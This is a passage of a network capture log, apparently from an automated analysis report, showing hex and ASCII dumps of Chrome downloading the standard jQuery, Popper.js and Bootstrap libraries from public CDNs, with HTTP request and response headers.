4b 28 65 29 7b 72 65 74 75 72 6e 27 65 Data Ascii: ===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'e
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c Data Ascii: ===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f Data Ascii: &&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49762	151.101.194.137	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:05 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 14 Jan 2025 14:24:05 GMT Age: 1382049 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740048-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1736864646.704739,VS0,VE1 Vary: Accept-Encoding
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-01-14 14:24:05 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49763	104.18.10.207	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:05 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:05 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:05 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: 7fedeed1ac4f734c4f5baf0abe375bbe CDN-Cache: HIT CF-Cache-Status: HIT Age: 1754754 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901e49a408721902-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:24:05 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
